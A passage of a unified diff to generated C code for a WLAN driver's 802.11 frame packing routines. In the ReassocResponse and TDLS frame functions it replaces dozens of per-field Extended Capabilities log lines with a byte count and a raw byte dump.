FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -43979,57 +43127,8 @@ tANI_U32 dot11fPackTDLSDisRsp(tpAniSirGlobal pCtx, tDot11fTDLSDisRsp *pFrm, tANI } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("FTInfo:\n")); if (!pFrm->FTInfo.present) @@ -44701,57 +43800,8 @@ tANI_U32 dot11fPackTDLSSetupReq(tpAniSirGlobal pCtx, tDot11fTDLSSetupReq *pFrm, } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("SuppOperatingClasses:\n")); if (!pFrm->SuppOperatingClasses.present) @@ -45109,57 +44159,8 @@ tANI_U32 dot11fPackTDLSSetupRsp(tpAniSirGlobal pCtx, tDot11fTDLSSetupRsp *pFrm, } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("diagnostics 